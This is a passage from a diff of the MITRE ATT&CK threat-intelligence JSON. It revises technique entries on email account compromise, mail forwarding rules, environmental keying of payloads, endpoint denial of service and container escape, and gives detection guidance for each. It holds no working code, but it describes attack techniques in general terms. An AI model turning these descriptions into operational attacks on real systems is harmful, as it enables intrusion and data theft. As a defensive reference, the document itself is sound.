[Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1) Adversaries may also take steps to cultivate a persona around the email account, such as through use of [Social Media Accounts](https://attack.mitre.org/techniques/T1585/001), to increase the chance of success of follow-on behaviors. Created email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).(Citation: Mandiant APT1)\n\nTo decrease the chance of physically tying back operations to themselves, adversaries may make use of disposable email services.(Citation: Trend Micro R980 2016)", "id": "attack-pattern--65013dd2-bc61-43e3-afb5-a14c4fa7437a", "type": "attack-pattern", "kill_chain_phases": [ @@ -10939,7 +11779,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-14T00:48:47.515Z", + "modified": "2021-04-15T03:09:59.862Z", "created": "2020-10-01T01:09:53.217Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "x_mitre_version": "1.0", @@ -10966,7 +11806,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Email Accounts", - "description": "Before compromising a victim, adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", + "description": "Adversaries may compromise email accounts that can be used during targeting. Adversaries can use compromised email accounts to further their operations, such as leveraging them to conduct [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566). Utilizing an existing persona with a compromised email account may engender a level of trust in a potential victim if they have a relationship, or knowledge of, the compromised persona. Compromised email accounts can also be used in the acquisition of infrastructure (ex: [Domains](https://attack.mitre.org/techniques/T1583/001)).\n\nA variety of methods exist for compromising email accounts, such as gathering credentials via [Phishing for Information](https://attack.mitre.org/techniques/T1598), purchasing credentials from third-party sites, or by brute forcing credentials (ex: password reuse from breach credential dumps).(Citation: AnonHBGary) Prior to compromising email accounts, adversaries may conduct Reconnaissance to inform decisions about which accounts to compromise to further their operation.\n\nAdversaries can use a compromised email account to hijack existing email threads with targets of interest.", "id": "attack-pattern--3dc8c101-d4db-4f4d-8150-1b5a76ca5f1b", "type": "attack-pattern", "kill_chain_phases": [ @@ -10975,7 +11815,7 @@ "phase_name": "resource-development" } ], - "modified": "2020-10-20T16:40:58.761Z", + "modified": "2021-04-15T02:57:25.544Z", "created": "2020-10-01T01:20:53.104Z", "x_mitre_detection": "Much of this activity will take place outside the visibility of the target organization, making detection of this behavior difficult. Detection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", "x_mitre_version": "1.0", @@ -10985,6 +11825,22 @@ ] }, { + "created": "2020-10-02T14:56:24.866Z", + "modified": "2021-04-15T03:27:19.702Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "reconnaissance" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", + "description": "Adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", + "name": "Email Addresses", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -11002,28 +11858,12 @@ "description": "Ng, A. (2019, January 17). Massive breach leaks 773 million email addresses, 21 million passwords. Retrieved October 20, 2020." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Email Addresses", - "description": "Before compromising a victim, adversaries may gather email addresses that can be used during targeting. Even if internal instances exist, organizations may have public-facing email infrastructure and addresses for employees.\n\nAdversaries may easily gather email addresses, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: HackersArise Email)(Citation: CNET Leaks) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Email Accounts](https://attack.mitre.org/techniques/T1586/002)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566)).", - "id": "attack-pattern--69f897fd-12a9-4c89-ad6a-46d2f3c38262", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "reconnaissance" - } - ], - "modified": "2020-10-24T03:46:04.662Z", - "created": "2020-10-02T14:56:24.866Z", - "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", - "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, "x_mitre_platforms": [ "PRE" - ] + ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", + "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access." }, { "id": "attack-pattern--1608f3e1-598a-42f4-a01a-2e252e81728f", @@ -11052,7 +11892,7 @@ "phase_name": "collection" } ], - "modified": "2020-03-24T18:31:06.417Z", + "modified": "2021-04-14T14:22:44.435Z", "created": "2017-05-31T21:31:25.454Z", "x_mitre_contributors": [ "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" @@ -11063,19 +11903,18 @@ ], "x_mitre_platforms": [ "Windows", - "Office 365" + "Office 365", + "Google Workspace" ], "x_mitre_detection": "There are likely a variety of ways an adversary could collect email from a target, each with a different mechanism for detection.\n\nFile access of local system email files for Exfiltration, unusual processes connecting to an email server within a network, or unusual access patterns or authentication attempts on a public-facing webmail server may all be indicators of malicious activity.\n\nMonitor processes and command-line arguments for actions that could be taken to gather local email files. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).\n\nDetection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include X-MS-Exchange-Organization-AutoForwarded set to true, X-MailFwdBy and X-Forwarded-To. The forwardingSMTPAddress parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the X-MS-Exchange-Organization-AutoForwarded header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", "x_mitre_data_sources": [ - "Office 365 trace logs", - "Mail server", - "Email gateway", - "Authentication logs", - "File monitoring", - "Process monitoring", - "Process use of network" + "File: File Access", + "Network Traffic: Network Connection Creation", + "Logon Session: Logon Session Creation", + "Command: Command Execution", + "Application Log: Application Log Content" ], - "x_mitre_version": "2.1" + "x_mitre_version": "2.2" }, { "external_references": [ @@ -11100,7 +11939,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Email Forwarding Rule", - "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) \n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.", + "description": "Adversaries may setup email forwarding rules to collect sensitive information. Adversaries may abuse email-forwarding rules to monitor the activities of a victim, steal information, and further gain intelligence on the victim or the victim\u2019s organization to use as part of further exploits or operations.(Citation: US-CERT TA18-068A 2018) Outlook and Outlook Web App (OWA) allow users to create inbox rules for various email functions, including forwarding to a different recipient. Similarly, Google Workspace users or administrators can set up mail forwarding rules via the Google Workspace web interface. Messages can be forwarded to internal or external recipients, and there are no restrictions limiting the extent of this rule. Administrators may also create forwarding rules for user accounts with the same considerations and outcomes.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) \n\nAny user or administrator within the organization (or adversary with valid credentials) can create rules to automatically forward all received messages to another recipient, forward emails to different locations based on the sender, and more.", "id": "attack-pattern--7d77a07d-02fe-4e88-8bd9-e9c008c01bf0", "type": "attack-pattern", "kill_chain_phases": [ @@ -11109,27 +11948,24 @@ "phase_name": "collection" } ], - "modified": "2020-10-19T22:43:45.509Z", + "modified": "2021-03-25T13:08:30.699Z", "created": "2020-02-19T18:54:47.103Z", "x_mitre_contributors": [ "Swetha Prabakaran, Microsoft Threat Intelligence Center (MSTIC)" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_is_subtechnique": true, "x_mitre_permissions_required": [ "User" ], "x_mitre_detection": "Detection is challenging because all messages forwarded because of an auto-forwarding rule have the same presentation as a manually forwarded message. It is also possible for the user to not be aware of the addition of such an auto-forwarding rule and not suspect that their account has been compromised; email-forwarding rules alone will not affect the normal usage patterns or operations of the email account.\n\nAuto-forwarded messages generally contain specific detectable artifacts that may be present in the header; such artifacts would be platform-specific. Examples include `X-MS-Exchange-Organization-AutoForwarded` set to true, `X-MailFwdBy` and `X-Forwarded-To`. The `forwardingSMTPAddress` parameter used in a forwarding process that is managed by administrators and not by user actions. All messages for the mailbox are forwarded to the specified SMTP address. However, unlike typical client-side rules, the message does not appear as forwarded in the mailbox; it appears as if it were sent directly to the specified destination mailbox.(Citation: Microsoft Tim McMichael Exchange Mail Forwarding 2) High volumes of emails that bear the `X-MS-Exchange-Organization-AutoForwarded` header (indicating auto-forwarding) without a corresponding number of emails that match the appearance of a forwarded message may indicate that further investigation is needed at the administrator level rather than user-level.", "x_mitre_data_sources": [ - "Process use of network", - "Process monitoring", - "Email gateway", - "Mail server", - "Office 365 trace logs" + "Application Log: Application Log Content" ], "x_mitre_platforms": [ "Office 365", - "Windows" + "Windows", + "Google Workspace" ] }, { @@ -11212,7 +12048,10 @@ ], "x_mitre_detection": "Monitor emond rules creation by checking for files created or modified in /etc/emond.d/rules/ and /private/var/db/emondClients.", "x_mitre_data_sources": [ - "File monitoring" + "Process: Process Creation", + "Command: Command Execution", + "File: File Modification", + "File: File Creation" ], "x_mitre_contributors": [ "Ivan Sinyakov" @@ -11239,7 +12078,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Employee Names", - "description": "Before compromising a victim, adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", + "description": "Adversaries may gather employee names that can be used during targeting. Employee names be used to derive email addresses as well as to help guide other reconnaissance efforts and/or craft more-believable lures.\n\nAdversaries may easily gather employee names, since they may be readily available and exposed via online or other accessible data sets (ex: [Social Media](https://attack.mitre.org/techniques/T1593/001) or [Search Victim-Owned Websites](https://attack.mitre.org/techniques/T1594)).(Citation: OPM Leak) Gathering this information may reveal opportunities for other forms of reconnaissance (ex: [Search Open Websites/Domains](https://attack.mitre.org/techniques/T1593) or [Phishing for Information](https://attack.mitre.org/techniques/T1598)), establishing operational resources (ex: [Compromise Accounts](https://attack.mitre.org/techniques/T1586)), and/or initial access (ex: [Phishing](https://attack.mitre.org/techniques/T1566) or [Valid Accounts](https://attack.mitre.org/techniques/T1078)).", "id": "attack-pattern--76551c52-b111-4884-bc47-ff3e728f0156", "type": "attack-pattern", "kill_chain_phases": [ @@ -11248,7 +12087,7 @@ "phase_name": "reconnaissance" } ], - "modified": "2020-10-24T03:46:29.173Z", + "modified": "2021-04-15T03:27:49.437Z", "created": "2020-10-02T14:57:15.906Z", "x_mitre_detection": "Much of this activity may have a very high occurrence and associated false positive rate, as well as potentially taking place outside the visibility of the target organization, making detection difficult for defenders.\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Initial Access.", "x_mitre_version": "1.0", @@ -11258,15 +12097,6 @@ ] }, { - "created": "2020-03-16T15:33:01.739Z", - "modified": "2020-03-30T00:37:16.809Z", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "command-and-control" - } - ], - "type": "attack-pattern", "external_references": [ { "source_name": "mitre-attack", @@ -11296,16 +12126,20 @@ "name": "Encrypted Channel", "description": "Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.", "id": "attack-pattern--b8902400-e6c5-4ba2-95aa-2d35b442b118", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "command-and-control" + } + ], + "modified": "2021-04-20T19:27:46.650Z", + "created": "2020-03-16T15:33:01.739Z", "x_mitre_version": "1.0", "x_mitre_is_subtechnique": false, "x_mitre_detection": "SSL/TLS inspection is one way of detecting command and control traffic within some encrypted communication channels.(Citation: SANS Decrypting SSL) SSL/TLS inspection does come with certain risks that should be considered before implementing to avoid potential security issues such as incomplete certificate validation.(Citation: SEI SSL Inspection Risks)\n\nIn general, analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used.(Citation: University of Birmingham C2)", "x_mitre_data_sources": [ - "SSL/TLS inspection", - "Process monitoring", - "Process use of network", - "Malware reverse engineering", - "Netflow/Enclave netflow", - "Packet capture" + "Network Traffic: Network Traffic Content" ], "x_mitre_platforms": [ "Linux", @@ -11385,36 +12219,56 @@ "phase_name": "impact" } ], - "modified": "2020-09-16T15:56:03.459Z", + "modified": "2021-04-14T12:05:31.985Z", "created": "2019-04-18T11:00:55.862Z", + "x_mitre_contributors": [ + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Magno Logan, @magnologan, Trend Micro", + "Vishwas Manral, McAfee", + "Yossi Weizman, Azure Defender Research Team" + ], "x_mitre_is_subtechnique": false, "x_mitre_detection": "Detection of Endpoint DoS can sometimes be achieved before the effect is sufficient to cause significant impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness. Typical network throughput monitoring tools such as netflow, SNMP, and custom scripts can be used to detect sudden increases in circuit utilization.(Citation: Cisco DoSdetectNetflow) Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect an attack as it starts.\n\nIn addition to network level detections, endpoint logging and instrumentation can be useful for detection. Attacks targeting web applications may generate logs in the web server, application server, and/or database server that can be used to identify the type of attack, possibly before the impact is felt.\n\nExternally monitor the availability of services that may be targeted by an Endpoint DoS.", "x_mitre_platforms": [ + "Windows", + "Azure AD", + "Office 365", + "SaaS", + "IaaS", "Linux", "macOS", - "Windows", - "AWS", - "GCP", - "Azure", - "Office 365", - "Azure AD", - "SaaS" + "Google Workspace", + "Containers" ], "x_mitre_impact_type": [ "Availability" ], - "x_mitre_version": "1.0", + "x_mitre_version": "1.1", "x_mitre_data_sources": [ - "SSL/TLS inspection", - "Web logs", - "Web application firewall logs", - "Network intrusion detection system", - "Network protocol analysis", - "Network device logs", - "Netflow/Enclave netflow" + "Sensor Health: Host Status", + "Application Log: Application Log Content", + "Network Traffic: Network Traffic Content", + "Network Traffic: Network Traffic Flow" ] }, { + "created": "2020-06-23T22:28:28.041Z", + "modified": "2021-03-29T19:56:42.242Z", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "defense-evasion" + } + ], + "type": "attack-pattern", + "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", + "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", + "name": "Environmental Keying", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], "external_references": [ { "source_name": "mitre-attack", @@ -11443,7 +12297,7 @@ }, { "source_name": "Environmental Keyed HTA", - "url": "https://www.nccgroup.trust/uk/about-us/newsroom-and-events/blogs/2017/august/smuggling-hta-files-in-internet-exploreredge/", + "url": "https://research.nccgroup.com/2017/08/08/smuggling-hta-files-in-internet-explorer-edge/", "description": "Warren, R. (2017, August 8). Smuggling HTA files in Internet Explorer/Edge. Retrieved January 16, 2019." }, { @@ -11457,44 +12311,102 @@ "description": "Warren, R. (2017, August 2). Demiguise: virginkey.js. Retrieved January 17, 2019." } ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + "x_mitre_platforms": [ + "Linux", + "macOS", + "Windows" ], - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Environmental Keying", - "description": "Adversaries may environmentally key payloads or other features of malware to evade defenses and constraint execution to a specific target environment. Environmental keying uses cryptography to constrain execution or actions based on adversary supplied environment specific conditions that are expected to be present on the target. Environmental keying is an implementation of [Execution Guardrails](https://attack.mitre.org/techniques/T1480) that utilizes cryptographic techniques for deriving encryption/decryption keys from specific types of values in a given computing environment.(Citation: EK Clueless Agents)\n\nValues can be derived from target-specific elements and used to generate a decryption key for an encrypted payload. Target-specific values can be derived from specific network shares, physical devices, software/software versions, files, joined AD domains, system time, and local/external IP addresses.(Citation: Kaspersky Gauss Whitepaper)(Citation: Proofpoint Router Malvertising)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware) By generating the decryption keys from target-specific environmental values, environmental keying can make sandbox detection, anti-virus detection, crowdsourcing of information, and reverse engineering difficult.(Citation: Kaspersky Gauss Whitepaper)(Citation: Ebowla: Genetic Malware) These difficulties can slow down the incident response process and help adversaries hide their tactics, techniques, and procedures (TTPs).\n\nSimilar to [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027), adversaries may use environmental keying to help protect their TTPs and evade detection. Environmental keying may be used to deliver an encrypted payload to the target that will use target-specific values to decrypt the payload before execution.(Citation: Kaspersky Gauss Whitepaper)(Citation: EK Impeding Malware Analysis)(Citation: Environmental Keyed HTA)(Citation: Ebowla: Genetic Malware)(Citation: Demiguise Guardrail Router Logo) By utilizing target-specific values to decrypt the payload the adversary can avoid packaging the decryption key with the payload or sending it over a potentially monitored network connection. Depending on the technique for gathering target-specific values, reverse engineering of the encrypted payload can be exceptionally difficult.(Citation: Kaspersky Gauss Whitepaper) This can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within.\n\nLike other [Execution Guardrails](https://attack.mitre.org/techniques/T1480), environmental keying can be used to prevent exposure of capabilities in environments that are not intended to be compromised or operated within. This activity is distinct from typical [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497). While use of [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) may involve checking for known sandbox values and continuing with execution only if there is no match, the use of environmental keying will involve checking for an expected target-specific value that must match for decryption and subsequent execution to be successful.", - "id": "attack-pattern--f244b8dd-af6c-4391-a497-fc03627ce995", - "type": "attack-pattern", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "modified": "2020-06-24T18:52:12.719Z", - "created": "2020-06-23T22:28:28.041Z", - "x_mitre_contributors": [ - "Nick Carr, FireEye" - ], - "x_mitre_detection": "Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", - "x_mitre_data_sources": [ - "Process monitoring" + "x_mitre_permissions_required": [ + "User" ], + "x_mitre_is_subtechnique": true, + "x_mitre_version": "1.0", "x_mitre_defense_bypassed": [ "Anti-virus", "Host forensic analysis", "Signature-based detection", "Static file analysis" ], + "x_mitre_data_sources": [ + "Process: Process Creation", + "Command: Command Execution" + ], + "x_mitre_detection": "Detecting the use of environmental keying may be difficult depending on the implementation. Monitoring for suspicious processes being spawned that gather a variety of system information or perform other forms of [Discovery](https://attack.mitre.org/tactics/TA0007), especially in a short period of time, may aid in detection.", + "x_mitre_contributors": [ + "Nick Carr, FireEye" + ] + }, + { + "external_references": [ + { + "source_name": "mitre-attack", + "external_id": "T1611", + "url": "https://attack.mitre.org/techniques/T1611" + }, + { + "source_name": "Docker Overview", + "url": "https://docs.docker.com/get-started/overview/", + "description": "Docker. (n.d.). Docker Overview. Retrieved March 30, 2021." + }, + { + "source_name": "Docker Bind Mounts", + "url": "https://docs.docker.com/storage/bind-mounts/", + "description": "Docker. (n.d.). Use Bind Mounts. Retrieved March 30, 2021." + }, + { + "source_name": "Trend Micro Privileged Container", + "url": "https://www.trendmicro.com/en_us/research/19/l/why-running-a-privileged-container-in-docker-is-a-bad-idea.html", + "description": "Fiser, D., Oliveira, A.. (2019, December 20). Why a Privileged Container in Docker is a Bad Idea. Retrieved March 30, 2021." + }, + { + "source_name": "Intezer Doki July 20", + "url": "https://www.intezer.com/blog/cloud-security/watch-your-containers-doki-infecting-docker-servers-in-the-cloud/", + "description": "Fishbein, N., Kajiloti, M.. (2020, July 28). Watch Your Containers: Doki Infecting Docker Servers in the Cloud. Retrieved March 30, 2021." + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Escape to Host", + "description": "Adversaries may break out of a container to gain access to the underlying host. This can allow an adversary access to other containerized resources from the host level or to the host itself. In principle, containerized resources should provide a clear separation of application functionality and be isolated from the host environment.(Citation: Docker Overview)\n\nThere are multiple ways an adversary may escape to a host environment. Examples include creating a container configured to mount the host\u2019s filesystem using the bind parameter, which allows the adversary to drop payloads and execute control utilities such as cron on the host, and utilizing a privileged container to run commands on the underlying host.(Citation: Docker Bind Mounts)(Citation: Trend Micro Privileged Container)(Citation: Intezer Doki July 20) Gaining access to the host may provide the adversary with the opportunity to achieve follow-on objectives, such as establishing persistence, moving laterally within the environment, or setting up a command and control channel on the host.", + "id": "attack-pattern--4a5b7ade-8bb5-4853-84ed-23f262002665", + "type": "attack-pattern", + "kill_chain_phases": [ + { + "kill_chain_name": "mitre-attack", + "phase_name": "privilege-escalation" + } + ], + "modified": "2021-04-22T16:14:59.756Z", + "created": "2021-03-30T17:38:34.277Z", "x_mitre_version": "1.0", - "x_mitre_is_subtechnique": true, + "x_mitre_is_subtechnique": false, "x_mitre_permissions_required": [ - "User" + "Administrator", + "User", + "root" + ], + "x_mitre_detection": "Monitor for the deployment of suspicious or unknown container images and pods in your environment, particularly containers running as root. Additionally, monitor for unexpected usage of syscalls such as mount (as well as resulting process activity) that may indicate an attempt to escape from a privileged container to host. In Kubernetes, monitor for cluster-level events associated with changing containers' volume configurations.", + "x_mitre_contributors": [ + "Joas Antonio dos Santos, @C0d3Cr4zy, Inmetrics", + "Alfredo Oliveira, Trend Micro", + "David Fiser, @anu4is, Trend Micro", + "Idan Frimark, Cisco", + "Magno Logan, @magnologan, Trend Micro", + "Ariel Shuper, Cisco", + "Yossi Weizman, Azure Defender Research Team", + "Vishwas Manral, McAfee" ], "x_mitre_platforms": [ + "Windows", "Linux", - "macOS", - "Windows" + "Containers" + ], + "x_mitre_data_sources": [ + "Container: Container Creation", + "Process: OS API Execution", + "Process: Process Creation" ] }, { @@ -11525,7 +12437,7 @@ ], "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "name": "Establish Accounts", - "description": "Before compromising a victim, adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the utilization of an online persona may be important. These personas may be fictitious or impersonate real people. The persona may exist on a single site or across multiple sites (ex: Facebook, LinkedIn, Twitter, Google, etc.). Establishing a persona may require development of additional documentation to make them seem real. This could include filling out profile information, developing social networks, or incorporating photos.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nEstablishing accounts can also include the creation of accounts with email providers, which may be directly leveraged for [Phishing for Information](https://attack.mitre.org/techniques/T1598) or [Phishing](https://attack.mitre.org/techniques/T1566).(Citation: Mandiant APT1)", + "description": "Adversaries may create and cultivate accounts with services that can be used during targeting. Adversaries can create accounts that can be used to build a persona to further operations. Persona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.(Citation: NEWSCASTER2014)(Citation: BlackHatRobinSage)\n\nFor operations incorporating social engineering, the 